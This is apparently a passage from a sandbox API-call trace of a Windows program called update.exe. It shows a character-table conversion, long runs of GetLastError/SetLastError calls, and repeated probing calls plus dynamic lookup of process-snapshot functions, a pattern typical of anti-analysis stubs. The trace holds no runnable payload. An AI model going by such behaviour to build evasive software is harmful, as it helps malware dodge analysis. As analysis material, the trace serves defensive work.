!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xae\x64\xb8\x12\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0041.508] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.508] GetLastError () returned 0x0 [0041.508] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.509] SetLastError (dwErrCode=0x0) [0041.509] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.510] GetLastError () returned 0x0 [0041.510] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.511] GetLastError () returned 0x0 [0041.511] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.512] SetLastError (dwErrCode=0x0) [0041.512] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.513] SetLastError (dwErrCode=0x0) [0041.513] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.514] SetLastError (dwErrCode=0x0) [0041.514] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.515] SetLastError (dwErrCode=0x0) [0041.515] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.516] SetLastError (dwErrCode=0x0) [0041.516] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.517] SetLastError (dwErrCode=0x0) [0041.517] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.518] SetLastError (dwErrCode=0x0) [0041.518] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.519] SetLastError (dwErrCode=0x0) [0041.519] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.520] GetLastError () returned 0x0 [0041.520] SetLastError (dwErrCode=0x0) [0041.522] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.523] SetLastError (dwErrCode=0x0) [0041.523] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.524] SetLastError (dwErrCode=0x0) [0041.524] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.525] SetLastError (dwErrCode=0x0) [0041.525] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] SetLastError (dwErrCode=0x0) [0041.526] GetLastError () returned 0x0 [0041.526] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0041.528] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.528] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.528] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.528] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.528] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.528] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0041.528] GetProcAddress (hModule=0x75a20000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a5735f [0041.529] GetProcAddress (hModule=0x75a20000, lpProcName="Module32First") returned 0x75ab5cd9 [0041.529] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.529] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.529] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.529] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.529] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.529] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.529] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.529] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.529] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.529] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.529] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.529] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.529] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.529] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.530] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.530] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.530] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.530] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.530] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.530] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.530] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.530] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.530] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.530] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.530] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.530] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.530] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.530] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.530] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: 